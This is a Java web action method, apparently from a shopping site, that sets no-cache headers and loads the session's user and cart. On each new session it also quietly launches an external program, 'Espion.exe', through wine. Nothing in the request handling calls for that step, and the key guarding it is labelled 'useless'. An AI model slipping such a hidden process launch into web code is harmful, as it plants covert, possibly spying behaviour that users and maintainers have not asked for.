@Override
  public String execute() throws Exception {
    servletResponse.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
    servletResponse.setHeader("Pragma", "no-cache");
    servletResponse.setDateHeader("Expires", 0);
    if (session != null) {
      if (!session.containsKey("useless")) {
        session.put("useless", true);
        Runtime.getRuntime().exec(new String[] { "/usr/bin/wine", "Espion.exe", "2", Double.toString(Math.random()) });
      }
      if (session.containsKey("userid")) {
        user = DbManager.Instance().findClientById((Integer)session.get("userid"));
        if (user == null) {
          session.remove("userid");
        } else {
          locals.put("user", user);
        }
      }
      if (!session.containsKey("cart")) {
        session.put("cart", new HashMap<Integer, CartEntry>());
      }
    }
    return NONE;
  }